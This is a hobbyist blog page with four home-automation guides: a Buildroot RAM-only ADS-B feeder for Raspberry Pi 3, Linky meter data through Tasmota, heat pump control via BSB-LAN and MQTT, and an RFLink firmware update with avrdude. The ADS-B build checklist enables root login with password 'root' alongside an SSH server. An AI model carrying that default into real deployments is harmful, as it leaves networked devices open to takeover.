Ronan's Blog

Building an Exhaustive ADS-B Feeder Station with Buildroot on Raspberry Pi 3

Sun, 03 May 2026 00:00:00 +0000

Following our work on maritime AIS, we are now targeting aviation. This guide explains how to build a professional-grade ADS-B station on a Raspberry Pi 3. We are using Buildroot to create a custom Linux firmware that is ultra-lightweight, boots in seconds, and runs entirely in RAM (read-only) to prevent SD card corruption.

1. Project Architecture

We use the BR2_EXTERNAL mechanism to keep our custom logic clean and portable. First, clone the stable Buildroot source:

git clone https://gitlab.com/buildroot.org/buildroot.git
cd buildroot
git checkout 2025.02.13

Our project tree is organized as follows:

.
├── buildroot/ # Official sources (git clone)
├── external-pi/ # Custom recipes layer
│ ├── Config.in
│ ├── external.desc
│ ├── external.mk
│ ├── board/ # <--- Boot configs (config.txt, cmdline.txt)
│ └── package/
│ ├── librtlsdr-blog/
│ ├── mlat-client/
│ └── readsb/
└── overlay/ # System files (Init, Network, Configs)
 ├── etc/
 │ ├── fr24feed.ini
 │ ├── init.d/
 │ │ ├── S50readsb
 │ │ ├── S60fr24
 │ │ ├── S99mlat-client-adsbfi
 │ │ └── S99mlat-client-adsbx
 │ ├── lighttpd/
 │ ├── modprobe.d/
 │ ├── network/
 │ └── wpa_supplicant.conf
 ├── usr/bin/fr24feed
 └── var/www/tar1090

2. The External Layer (external-pi)

These files declare the project to Buildroot:

external-pi/external.desc:

name: PI_FEEDER_EXT
desc: Station ADS-B pour Pi3

external-pi/external.mk:

include $(sort $(wildcard $(BR2_EXTERNAL_PI_FEEDER_EXT_PATH)/package/*/*.mk))

external-pi/Config.in (Menu integration):

source "$BR2_EXTERNAL_PI_FEEDER_EXT_PATH/package/librtlsdr-blog/Config.in"
source "$BR2_EXTERNAL_PI_FEEDER_EXT_PATH/package/readsb/Config.in"
source "$BR2_EXTERNAL_PI_FEEDER_EXT_PATH/package/mlat-client/Config.in"

3. Software Recipes & Compilation

A. Optimized Drivers: librtlsdr-blog

external-pi/package/librtlsdr-blog/Config.in:

config BR2_PACKAGE_LIBRTLSDR_BLOG
	bool "librtlsdr-blog"
	select BR2_PACKAGE_LIBUSB
	help
	 Version optimisée pour RTL-SDR Blog V4 avec support Bias-T.

	 https://github.com/rtlsdrblog/rtl-sdr-blog

external-pi/package/librtlsdr-blog/librtlsdr-blog.mk:

LIBRTLSDR_BLOG_VERSION = master
LIBRTLSDR_BLOG_SITE = $(call github,rtlsdrblog,rtl-sdr-blog,$(LIBRTLSDR_BLOG_VERSION))
LIBRTLSDR_BLOG_LICENSE = GPL-2.0+
LIBRTLSDR_BLOG_INSTALL_STAGING = YES

LIBRTLSDR_BLOG_DEPENDENCIES = libusb

# On active explicitement le détachement du driver kernel (DVB-T) 
# et l'installation des outils (rtl_sdr, rtl_biast, etc.)
LIBRTLSDR_BLOG_CONF_OPTS = \
	-DINSTALL_UDEV_RULES=ON \
	-DDETACH_KERNEL_DRIVER=ON

$(eval $(cmake-package))

B. The Decoder: readsb

external-pi/package/readsb/Config.in:

config BR2_PACKAGE_READSB
	bool "readsb"
	select BR2_PACKAGE_LIBRTLSDR_BLOG
	select BR2_PACKAGE_NCURSES
	select BR2_PACKAGE_ZLIB
	select BR2_PACKAGE_ZSTD
	help
	 Readsb est un décodeur ADS-B haute performance.

external-pi/package/readsb/readsb.mk:

READSB_VERSION = master
READSB_SITE = $(call github,wiedehopf,readsb,$(READSB_VERSION))
READSB_DEPENDENCIES = librtlsdr-blog ncurses zlib zstd
READSB_LICENSE = GPL-3.0

# On utilise le hook SED pour les versions
define READSB_FIX_VERSION_MACROS
	sed -i 's/READSB_SHORT_VERSION/"2025"/g' $(@D)/json_out.c
	sed -i 's/READSB_SHORT_COMMIT/"v4"/g' $(@D)/json_out.c
endef
READSB_POST_PATCH_HOOKS += READSB_FIX_VERSION_MACROS

# On passe RTLSDR=yes ET on force le flag de compilation manuellement dans CFLAGS
READSB_MAKE_OPTS = \
	RTLSDR=yes \
	CFLAGS="$(TARGET_CFLAGS) -D_GNU_SOURCE -D_DEFAULT_SOURCE -DENABLE_RTLSDR"

define READSB_BUILD_CMDS
	$(TARGET_MAKE_ENV) $(MAKE) $(TARGET_CONFIGURE_OPTS) -C $(@D) $(READSB_MAKE_OPTS)
endef

define READSB_INSTALL_TARGET_CMDS
	$(INSTALL) -D -m 0755 $(@D)/readsb $(TARGET_DIR)/usr/bin/readsb
	$(INSTALL) -D -m 0755 $(@D)/viewadsb $(TARGET_DIR)/usr/bin/viewadsb
endef

$(eval $(generic-package))

C. MLAT Client

external-pi/package/mlat-client/Config.in:

config BR2_PACKAGE_MLAT_CLIENT
	bool "mlat-client"
	depends on BR2_PACKAGE_PYTHON3
	select BR2_PACKAGE_PYTHON_PYASYNCORE
	select BR2_PACKAGE_PYTHON_PYASYNCHAT²
	select BR2_PACKAGE_PYTHON3_ZLIB
	help
	 Mode S Multilateration client for ADS-B feeders.

	 https://github.com/mutability/mlat-client

comment "mlat-client needs python3"
	depends on !BR2_PACKAGE_PYTHON3

external-pi/package/mlat-client/mlat-client.mk:

MLAT_CLIENT_VERSION = 0.2.13
MLAT_CLIENT_SITE = $(call github,mutability,mlat-client,v$(MLAT_CLIENT_VERSION))
MLAT_CLIENT_LICENSE = GPL-3.0
MLAT_CLIENT_LICENSE_FILES = COPYING
MLAT_CLIENT_SETUP_TYPE = setuptools

$(eval $(python-package))

4. System Configuration (Overlay)

The overlay directory contains custom configuration files and pre-compiled binaries that are merged into the final root filesystem.

Note: Some binaries like fr24feed and the tar1090 web interface files should be placed manually in the overlay/ directory before building if they are not managed by a Buildroot recipe.

Network & WiFi

overlay/etc/network/interfaces:

auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp

auto wlan0
iface wlan0 inet dhcp
 pre-up sleep 2
 wpa-conf /etc/wpa_supplicant.conf

overlay/etc/wpa_supplicant.conf:

country=FR
network={
 ssid="YOUR_SSID"
 psk="YOUR_PASSWORD"
}

overlay/etc/modprobe.d/rtlsdr-blacklist.conf:

blacklist dvb_usb_rtl28xxu
blacklist rtl2832
blacklist rtl2830

Init Scripts (The Automation)

overlay/etc/init.d/S50readsb (The Core Decoder):

#!/bin/sh

DAEMON="readsb"
BINARY="/usr/bin/readsb"
SITE_UUID="YOUR_UUID"

# Arguments finaux
ARGS="--device-type rtlsdr \
 --net \
 --fix \
 --dcfilter \
 --lat YOUR_LAT \
 --lon YOUR_LON \
 --net-ri-port 0 \
 --net-ro-port 30002 \
 --net-bi-port 30004 \
 --net-bo-port 30005 \
 --write-json /tmp/readsb \
 --net-connector feed.adsb.fi,30004,beast_reduce_out,uuid=$SITE_UUID \
 --net-connector feed.adsbexchange.com,30004,beast_reduce_out"

case "$1" in
 start)
 echo -n "Starting $DAEMON: "
 /usr/bin/rtl_biast -b 1 > /dev/null 2>&1
 sleep 1
 start-stop-daemon -S -b -x $BINARY -- $ARGS
 [ $? -eq 0 ] && echo "OK" || echo "FAIL"
 ;;
 stop)
 echo -n "Stopping $DAEMON: "
 start-stop-daemon -K -x $BINARY
 [ $? -eq 0 ] && echo "OK" || echo "FAIL"
 ;;
 restart)
 $0 stop
 sleep 1
 $0 start
 ;;
 *)
 echo "Usage: $0 {start|stop|restart}"
 exit 1
 ;;
esac

overlay/etc/init.d/S99mlat-client-adsbx (Feed ADSBExchange):

#!/bin/sh
NAME="mlat-client-adsbx"
DAEMON="/usr/bin/mlat-client"
PIDFILE="/var/run/$NAME.pid"

ARGS="--input-type dump1090 \
 --input-connect 127.0.0.1:30005 \
 --lat YOUR_LAT \
 --lon YOUR_LON \
 --alt 45m \
 --user YOUR_USER \
 --server feed.adsbexchange.com:31090 \
 --no-udp \
 --results beast,connect,127.0.0.1:30004"

case "$1" in
 start)
 echo -n "Starting $NAME: "
 start-stop-daemon -S -q -b -m -p $PIDFILE -x $DAEMON -- $ARGS
 echo "OK"
 ;;
 stop)
 echo -n "Stopping $NAME: "
 start-stop-daemon -K -q -p $PIDFILE
 echo "OK"
 rm -f $PIDFILE
 ;;
 restart)
 $0 stop
 sleep 1
 $0 start
 ;;
 *)
 echo "Usage: $0 {start|stop|restart}"
 exit 1
 ;;
esac

overlay/etc/init.d/S99mlat-client-adsbfi (Feed ADSB.fi):

#!/bin/sh
NAME="mlat-client-adsbfi"
DAEMON="/usr/bin/mlat-client"
PIDFILE="/var/run/$NAME.pid"

ARGS="--input-type dump1090 \
 --input-connect 127.0.0.1:30005 \
 --lat YOUR_LAT \
 --lon YOUR_LON \
 --alt 45m \
 --user YOUR_USER \
 --server feed.adsb.fi:31090 \
 --no-udp \
 --results beast,connect,127.0.0.1:30004"

case "$1" in
 start)
 echo -n "Starting $NAME: "
 start-stop-daemon -S -q -b -m -p $PIDFILE -x $DAEMON -- $ARGS
 echo "OK"
 ;;
 stop)
 echo -n "Stopping $NAME: "
 start-stop-daemon -K -q -p $PIDFILE
 echo "OK"
 rm -f $PIDFILE
 ;;
 restart)
 $0 stop
 sleep 1
 $0 start
 ;;
 *)
 echo "Usage: $0 {start|stop|restart}"
 exit 1
 ;;
esac

overlay/etc/init.d/S60fr24 (FlightRadar24 Feed):

#!/bin/sh
DAEMON="fr24feed"
BINARY="/usr/bin/fr24feed"

case "$1" in
 start)
 echo -n "Starting $DAEMON: "
 sleep 2
 start-stop-daemon -S -b -x $BINARY
 [ $? -eq 0 ] && echo "OK" || echo "FAIL"
 ;;
 stop)
 echo -n "Stopping $DAEMON: "
 start-stop-daemon -K -x $BINARY
 [ $? -eq 0 ] && echo "OK" || echo "FAIL"
 ;;
 restart)
 $0 stop
 sleep 1
 $0 start
 ;;
 *)
 echo "Usage: $0 {start|stop|restart}"
 exit 1
 ;;
esac

Feeder Configurations

overlay/etc/fr24feed.ini:

receiver="beast-tcp"
fr24key="YOUR_FR24_KEY"
host="127.0.0.1:30005"
bs="no"
raw="no"
logmode="1"
logpath="/tmp"
mlat="yes"
mlat-without-gps="yes"

overlay/etc/lighttpd/lighttpd.conf (Web Interface):

server.modules += ( "mod_alias", "mod_setenv" )
server.document-root = "/var/www/tar1090"
server.port = 80
index-file.names = ( "index.html" )

mimetype.assign = (
 ".html" => "text/html",
 ".css" => "text/css",
 ".js" => "application/javascript",
 ".json" => "application/json",
 ".png" => "image/png",
 ".svg" => "image/svg+xml"
)

alias.url += ( "/data/" => "/tmp/readsb/" )

$HTTP["url"] =~ "^/data/" {
 setenv.add-response-header = ( "Cache-Control" => "no-cache, no-store, must-revalidate" )
}

5. RAM-Only Boot Configuration

To run the OS entirely in RAM, we use the initramfs strategy. This loads the rootfs.cpio.gz into the Raspberry Pi’s memory at boot time. You have two options to implement this:

Method A: Automated (Buildroot Integration)

This is the professional way. The files are generated correctly every time you run make.

Prepare your custom board files: Create a folder external-pi/board/ and create two files:

external-pi/board/config.txt:

# RAM Boot Config
initramfs rootfs.cpio.gz followkernel
# Enable UART for console
enable_uart=1

external-pi/board/cmdline.txt:

console=serial0,115200 console=tty1 root=/dev/ram0 rw rootwait

Configure Buildroot (make menuconfig):
- Filesystem images:
  - Enable cpio the root file system.
  - Compression: gzip.
- Target packages -> Hardware handling:
  - Select rpi-firmware.
  - Set Configuration file to $(BR2_EXTERNAL_PI_FEEDER_EXT_PATH)/board/config.txt.
- System configuration:
  - Set Custom scripts to run after creating the images to point to a script that copies your cmdline.txt to the output folder (or use the default RPi post-image script and point it to your custom file).

Method B: Manual (Quick Edit on SD Card)

If you don’t want to touch Buildroot files, you can edit the files on the SD card after flashing.

Flash the SD card as described in Section 7.
Mount the BOOT partition on your PC.
Edit config.txt: Add the line initramfs rootfs.cpio.gz followkernel.
Edit cmdline.txt: Replace the content with console=serial0,115200 console=tty1 root=/dev/ram0 rw rootwait.

Note: The Buildroot files in buildroot/board/raspberrypi/ are templates. You should never edit them directly; always use a custom board directory in your external-pi layer as shown in Method A.

6. Buildroot Setup Checklist

Enable these options in make menuconfig to match our project’s requirements:

Target options: Cortex-A53, NEON-VFPV4, Hard float (EABIhf), instructions ARM (not Thumb2).
Toolchain: Glibc library, Linux Headers 6.6.x, GCC 13.x, Binutils 2.43.x. Enable Wchar, Locale, and C++ support.
Kernel: Custom Raspberry Pi kernel (bcm2709_defconfig) using the 6.6.y branch. Enable Device Tree support and DTB overlay support.
System Configuration:
- Root login enabled (password: root).
- DHCP enabled on eth0.
- BR2_ROOTFS_OVERLAY pointing to your overlay/ directory.
- Purge locale (C, en_US).
WiFi Stack: linux-firmware -> Broadcom BCM43xxx & Cypress CYW43xxx.
Networking: lighttpd (with zlib), dropbear (SSH), wpa_supplicant (with nl80211), chrony (NTP sync).
Tools: bash, python3 (with zlib, unicodedata, pyasyncore, pyasynchat), socat, kmod (tools), ca-certificates.
Libraries: libusb, ncurses, readline, zlib, zstd, xxhash.
Filesystem: cpio with gzip compression.

7. Deployment

Method A: Manual SD Formatting

# Format 1 FAT32 partition on SD card
sudo mkfs.vfat -F 32 -n BOOT /dev/sdX1
# Copy boot images from output/images/
sudo cp zImage rootfs.cpio.gz bcm2710-rpi-3-b.dtb rpi-firmware/* /mnt/sdcard/

Method B: Network Deployment (Fast Iteration)

# Update your running Pi remotely
scp -O output/images/zImage output/images/rootfs.cpio.gz \
 output/images/bcm2710-rpi-3-b.dtb root@192.168.1.123:/boot/
ssh root@192.168.1.123 "reboot"

8. Results & Performance

Once the station is up and running, you can access the local web interface (tar1090) to view real-time traffic. The custom Buildroot firmware ensures extremely low CPU usage and high stability.

Linky integration in standard mode with Home Assistant and Tasmota

Sat, 18 Jan 2025 00:00:00 +0000

Linky integration in standard mode with Home Assistant and Tasmota.

In this post, we’ll go through the steps to get energy data from a Linky in standard mode right into Home Assistant through MQTT using Tasmota running on a ESP32 with a Wemos Teleinfo Hat.

1 - Tasmota (Linky side)

On the linky side, the hardware will be :
- Module WiFi Mini NodeMCU ESP32 D1
- WeMos Teleinfo ESP8266/ESP32/S2/C3/S3 Shield

Get Tasmota files :

git clone https://github.com/arendst/Tasmota.git

Go to the Tasmota folder

cd Tasmota

Before compiling, let’s enable the support of Teleinfo

vim tasmota/my_user_config.h

And uncomment the following line

#define USE_TELEINFO // Add support for Teleinfo via serial RX interface (+5k2 code, +168 RAM + SmartMeter LinkedList Values RAM)

Create a venv environment and source it :

python3 -m venv ./venv
source venv/bin/activate

Install plateformio

pip install platformio

Then compile and upload :

platformio run -e tasmota32 --target upload --upload-port /dev/ttyUSB0

Then finish the Tasmota configuration as usual :

Connect to the Tasmota Wifi
Go to the 192.168.4.1 IP address
Setup your Wifi

Then go to Configuration -> Other and set as template the following parameters (don’t forget to tick “Activate”)

{"NAME":"Wemos Teleinfo","GPIO":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1376,1,1,640,608,5632,1,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1],"FLAG":0,"BASE":1}

Then the ESP32 will reboot and you should have something like the screenshot below

Finally, let’s configure the Linky mode to standard

You should have the following feedback

15:02:17.014 CMD: EnergyConfig standard
15:02:17.017 TIC: 'standard' mode
15:02:17.017 TIC: RX on GPIO23, baudrate 9600
15:02:17.019 RSL: RESULT = {"EnergyConfig":"Done"}

Then I configure the MQTT parameters to push data to the MQTT broker

2 - Home Assistant

2.1 - Simple sensors

Integration in Home Assistant is easy.

Here is an example :

type: entities
entities:
 - entity: sensor.tasmota_energy_current
 - entity: sensor.tasmota_energy_voltage
 - entity: sensor.tasmota_energy_power
 - entity: sensor.tasmota_energy_today
 - entity: sensor.tasmota_energy_yesterday

With the following result :

2.2 - Energy dashboard

In order to be able to track cost, we’ll create a template doing a copy of indexes and register them with the right properties (device_class, unit..).

In our configuration we’ll have :

template: !include template.yaml

And in template.yaml we’ll have :

sensor:
 - name: "heure_creuses"
 state: "{{ states('sensor.tasmota_tic_easf01') }}"
 unit_of_measurement: kWh
 device_class: energy
 state_class: total_increasing
 - name: "heure_pleines"
 state: "{{ states('sensor.tasmota_tic_easf02') }}"
 unit_of_measurement: kWh
 device_class: energy
 state_class: total_increasing

Then you should be able to parameter the energy inputs as follow :

Then you’ll have data displayed.

You’re done : Linky integration in standard mode with Home Assistant and Tasmota.

Atlantic heat pump integration in home assistant with BSB-LAN

Sun, 05 Jan 2025 00:00:00 +0000

In order to get our Atlantic heat pump integration in home assistant, we’ll need :
- BSB-LAN running on an ESP32
- MQTT broker up and running on Home Assistant
- Configure BSB-LAN to push data and Home assistant to diplay them.

Thanks to this configuration, you’ll be able to monitor the heat pump data such as compressor activity and sensors. We will be able to control the heat pump using the climate control module of Home Assistant to adjust temperature setpoints.

Hardware : Atlantic heat pump and ESP32.

The first step the hardware part using an ESP32 with a BSB-LAN hat.

You will see on the picture below :
- The ESP32 and the BSB-LAN hat mounted on the door
- The wiring on the X86 port of the Atlantic Alfea Extensa Duo heat pump
- A 230V to USB power supply

Software : BSB-LAN and Home Assistant

BSB LAN on ESP32

We’ll use a BSB-LAN board with an ESP32. Following the official documentation. I recommend to follow strictly the documentation in order to get it up and running.

One BSB-LAN up and running, we’ll configure it to send data to Home Assistant MQTT broker.

Home Assistant on the server

On the Home Assistant side, you should :
- Install the MQTT broker add-on
- Configure the MQTT broker
- Check the configuration using MQTT explorer.

Once the server is up and running, we can see that BSB-LAN is pushing data to the MQTT broker using MQTT explorer :

And then you can configure a nice dashboard such as the following one.

For this dashboard, here is my configuration :

Configuration.yaml

mqtt: !include mqtt.yaml

mqtt.yaml

climate: !include mqtt_climate.yaml
sensor: !include mqtt_sensor.yaml
number: !include mqtt_number.yaml
binary_sensor: !include mqtt_binary_sensor.yaml

mqtt_climate.yaml

- name: "Rez-de-chaussée"
 unique_id: bsb_lan_700
 payload_on: "1"
 payload_off: "0"
 modes:
 - auto
 - heat
 - cool
 - "off"
 mode_state_topic: "BSB-LAN/700"
 mode_state_template: >-
 {% set values = { '0 - Protection':'off', '1 - Automatic':'auto', '2 - Reduced':'cool', '3 - Comfort':'heat'} %}
 {{ values[value] if value in values.keys() else 'off' }}
 mode_command_topic: "BSB-LAN"
 mode_command_template: >-
 {% set values = { 'off':'S700=0', 'auto':'S700=1', 'cool':'S700=2', 'heat':'S700=3'} %}
 {{ values[value] if value in values.keys() else '0' }}
 current_temperature_topic: "BSB-LAN/8740"
 min_temp: 17
 max_temp: 24
 temp_step: 0.5
 temperature_high_command_topic: "BSB-LAN"
 temperature_high_command_template: "{{'S710='+ (value | string)}}"
 temperature_high_state_topic: "BSB-LAN/710"
 temperature_low_command_topic: "BSB-LAN"
 temperature_low_command_template: "{{'S712='+ (value | string)}}"
 temperature_low_state_topic: "BSB-LAN/712"
 qos: 2
 
- name: "Etage"
 unique_id: bsb_lan_mode_719
 payload_on: "1"
 payload_off: "0"
 modes:
 - auto
 - heat
 - cool
 - "off"
 mode_state_topic: "BSB-LAN/1000"
 mode_state_template: >-
 {% set values = { '0 - Protection':'off', '1 - Automatic':'auto', '2 - Reduced':'cool', '3 - Comfort':'heat'} %}
 {{ values[value] if value in values.keys() else 'off' }}
 mode_command_topic: "BSB-LAN"
 mode_command_template: >-
 {% set values = { 'off':'S1000=0', 'auto':'S1000=1', 'cool':'S1000=2', 'heat':'S1000=3'} %}
 {{ values[value] if value in values.keys() else '0' }}
 current_temperature_topic: "BSB-LAN/8770"
 min_temp: 17
 max_temp: 24
 temp_step: 0.5
 temperature_high_command_topic: "BSB-LAN"
 temperature_high_command_template: "{{'S1010='+ (value | string)}}"
 temperature_high_state_topic: "BSB-LAN/1010"
 temperature_low_command_topic: "BSB-LAN"
 temperature_low_command_template: "{{'S1012='+ (value | string)}}"
 temperature_low_state_topic: "BSB-LAN/1012"
 qos: 2

mqtt_sensor.yaml

- name: "Température extérieure"
 unique_id: bsb_lan_8700
 state_topic: "BSB-LAN/8700"
 unit_of_measurement: °C
 device_class: temperature
 state_class: measurement
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }
- name: "Température rez-de-chaussée"
 unique_id: bsb_lan_8740
 state_topic: "BSB-LAN/8740"
 unit_of_measurement: °C
 device_class: temperature
 state_class: measurement
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }
- name: "Température étage"
 unique_id: bsb_lan_8770
 state_topic: "BSB-LAN/8770"
 unit_of_measurement: °C
 device_class: temperature
 state_class: measurement
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }
- name: "Température ECS"
 unique_id: bsb_lan_8830
 state_topic: "BSB-LAN/8830"
 unit_of_measurement: °C
 device_class: temperature
 state_class: measurement
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }
- name: "PAC - Compresseur"
 unique_id: bsb_lan_8413
 state_topic: "BSB-LAN/8413"
 unit_of_measurement: "%"
 device_class: power_factor
 state_class: measurement
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }
- name: "Température de départ (consigne)"
 unique_id: bsb_lan_8411
 state_topic: "BSB-LAN/8411"
 unit_of_measurement: °C
 device_class: temperature
 state_class: measurement
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }
- name: "Température de départ"
 unique_id: bsb_lan_8412
 state_topic: "BSB-LAN/8412"
 unit_of_measurement: °C
 device_class: temperature
 state_class: measurement
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }
- name: "Température de départ 2"
 unique_id: bsb_lan_8773
 state_topic: "BSB-LAN/8773"
 unit_of_measurement: °C
 device_class: temperature
 state_class: measurement
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }
- name: "Température de retour"
 unique_id: bsb_lan_8410
 state_topic: "BSB-LAN/8410"
 unit_of_measurement: °C
 device_class: temperature
 state_class: measurement
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }
- name: "Temperature condensateur"
 unique_id: bsb_lan_8425
 state_topic: "BSB-LAN/8425"
 unit_of_measurement: °C
 device_class: temperature
 state_class: measurement
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }
- name: "Statut Rez-de-chaussée"
 state_topic: "BSB-LAN/8000"
 value_template: "{{value | regex_findall_index('- [ \t]+(.*)')}}"
 unique_id: bsb_lan_8000
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }
- name: "Statut Etage"
 state_topic: "BSB-LAN/8001"
 value_template: "{{value | regex_findall_index('- [ \t]+(.*)')}}"
 unique_id: bsb_lan_8001
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }
- name: "Statut ECS"
 state_topic: "BSB-LAN/8006"
 value_template: "{{value | regex_findall_index('- [ \t]+(.*)')}}"
 unique_id: bsb_lan_8006
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }
- name: "Consommation"
 state_topic: "BSB-LAN/3113"
 unique_id: bsb_lan_3113
 unit_of_measurement: "kWh"
 device_class: energy
 state_class: total
 value_template: "{{ value[:-4] }}"
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }

mqtt_number.yaml

- name: Température confort rez-de-chaussée
 unique_id: bsb_lan_710
 state_topic: "BSB-LAN/710"
 command_topic: "BSB-LAN"
 command_template: "S710={{ value }}"
 mode: slider
 min: 12
 max: 26
 step: 0.1
 unit_of_measurement: °C
 device_class: temperature
 icon: mdi:temperature-celsius
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }
- name: Température réduite rez-de-chaussée
 unique_id: bsb_lan_712
 state_topic: "BSB-LAN/712"
 command_topic: "BSB-LAN"
 command_template: "S712={{ value }}"
 mode: slider
 min: 12
 max: 26
 step: 0.1
 unit_of_measurement: °C
 device_class: temperature
 icon: mdi:temperature-celsius
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }
- name: Température confort étage
 unique_id: bsb_lan_1010
 state_topic: "BSB-LAN/1010"
 command_topic: "BSB-LAN"
 command_template: "S1010={{ value }}"
 mode: slider
 min: 12
 max: 26
 step: 0.1
 unit_of_measurement: °C
 device_class: temperature
 icon: mdi:temperature-celsius
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }
- name: Température réduite étage
 unique_id: bsb_lan_1012
 state_topic: "BSB-LAN/1012"
 command_topic: "BSB-LAN"
 command_template: "S1012={{ value }}"
 mode: slider
 min: 12
 max: 26
 step: 0.1
 unit_of_measurement: °C
 device_class: temperature
 icon: mdi:temperature-celsius
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }

mqtt_binary_sensor.yaml

- name: Pompe circuit 1
 unique_id: bsb_lan_8730
 state_topic: "BSB-LAN/8730"
 payload_on: "1 - On"
 payload_off: "0 - Off"
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }
- name: Pompe circuit 2
 unique_id: bsb_lan_8760
 state_topic: "BSB-LAN/8760"
 payload_on: "1 - On"
 payload_off: "0 - Off"
 device:
 {
 identifiers: ["00000002"],
 name: "Pompe à chaleur",
 model: "ESP32",
 manufacturer: "BSB-LAN",
 }

You’re done : Atlantic heat pump integration in home assistant with BSB-LAN.

Update the RFLink gateway using CLI on your Linux server

Sat, 27 Jan 2024 00:00:00 +0000

Update the RFLink gateway using CLI on your Linux server. We’ll see how to update a RFLink gateway running on an Arduino Mega without having to disconnect it from your Linux server (Home Assistant or Domoticz).

The RFLink Gateway is an open-source platform that acts as a bridge between 433MHz sensors and other smart home systems, such as Home Assistant or Domoticz.

By using RFLink, users can integrate a wide variety of 433MHz sensors with their home automation ecosystem, enabling seamless control and monitoring of devices like door/window sensors, temperature sensors, and motion detectors. This gateway simplifies the setup process, providing compatibility with many different sensor brands and protocols. RFLink enhances the versatility and interoperability of 433MHz-based devices, contributing to more efficient and connected smart home environments.

Software on the Linux server to update RFLink Gateway

Install Avrdude :

sudo apt-get install avrdude

Files to update RFLink Gateway

You can find the last relase on the website

Download it, with for example the following command :

wget https://www.rflink.nl/RFLink_v1.1_r51.zip

And uncompress it :

i@pi:~ $ unzip RFLink_v1.1_r51.zip
Archive: firmware.zip
inflating: Readme_Loader.txt
inflating: RFLinkLoader.exe
inflating: RFLinkLoader.md5
inflating: RFLinkLoader.sha512
inflating: Supported Device List.txt
inflating: Readme_RFLink.txt
inflating: RFLink Protocol Reference.txt
inflating: RFLink Schematic.jpg
inflating: avrdude.conf
inflating: avrdude.exe
inflating: libusb0.dll
inflating: FAQ.txt
inflating: Support.txt
inflating: License.txt
inflating: RFLink.cpp.hex

Update RFLink Gateway with CLI

Stop domoticz :

sudo service domoticz stop

Then upload it on the Arduino :

sudo avrdude -v -p atmega2560 -c stk500 -P /dev/ttyACM0 -b 115200 -D -U flash:w:RFLink.cpp.hex:i

avrdude: Version 6.3
Copyright (c) 2000-2005 Brian Dean, http://www.bdmicro.com/
Copyright (c) 2007-2014 Joerg Wunsch

System wide configuration file is "/etc/avrdude.conf"
User configuration file is "/root/.avrduderc"
User configuration file does not exist or is not a regular file, skipping

Using Port : /dev/ttyACM0
Using Programmer : stk500
Overriding Baud Rate : 115200
AVR Part : ATmega2560
Chip Erase delay : 9000 us
PAGEL : PD7
BS2 : PA0
RESET disposition : dedicated
RETRY pulse : SCK
serial program mode : yes
parallel program mode : yes
Timeout : 200
StabDelay : 100
CmdexeDelay : 25
SyncLoops : 32
ByteDelay : 0
PollIndex : 3
PollValue : 0x53
Memory Detail :

Block Poll Page Polled
Memory Type Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
----------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
eeprom 65 10 8 0 no 4096 8 0 9000 9000 0x00 0x00
flash 65 10 256 0 yes 262144 256 1024 4500 4500 0x00 0x00
lfuse 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00
hfuse 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00
efuse 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00
lock 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00
calibration 0 0 0 0 no 1 0 0 0 0 0x00 0x00
signature 0 0 0 0 no 3 0 0 0 0 0x00 0x00

Programmer Type : STK500V2
Description : Atmel STK500
Programmer Model: AVRISP
Hardware Version: 15
Firmware Version Master : 2.10
Vtarget : 0.0 V
SCK period : 0.1 us

avrdude: AVR device initialized and ready to accept instructions

Reading | ################################################## | 100% 0.01s

avrdude: Device signature = 0x1e9801 (probably m2560)
avrdude: safemode: hfuse reads as D8
avrdude: safemode: efuse reads as FD
avrdude: reading input file "RFLink.cpp.hex"
avrdude: writing flash (199364 bytes):

Writing | ################################################## | 100% 35.12s

avrdude: 199364 bytes of flash written
avrdude: verifying flash memory against RFLink.cpp.hex:
avrdude: load data flash data from input file RFLink.cpp.hex:
avrdude: input file RFLink.cpp.hex contains 199364 bytes
avrdude: reading on-chip flash data:

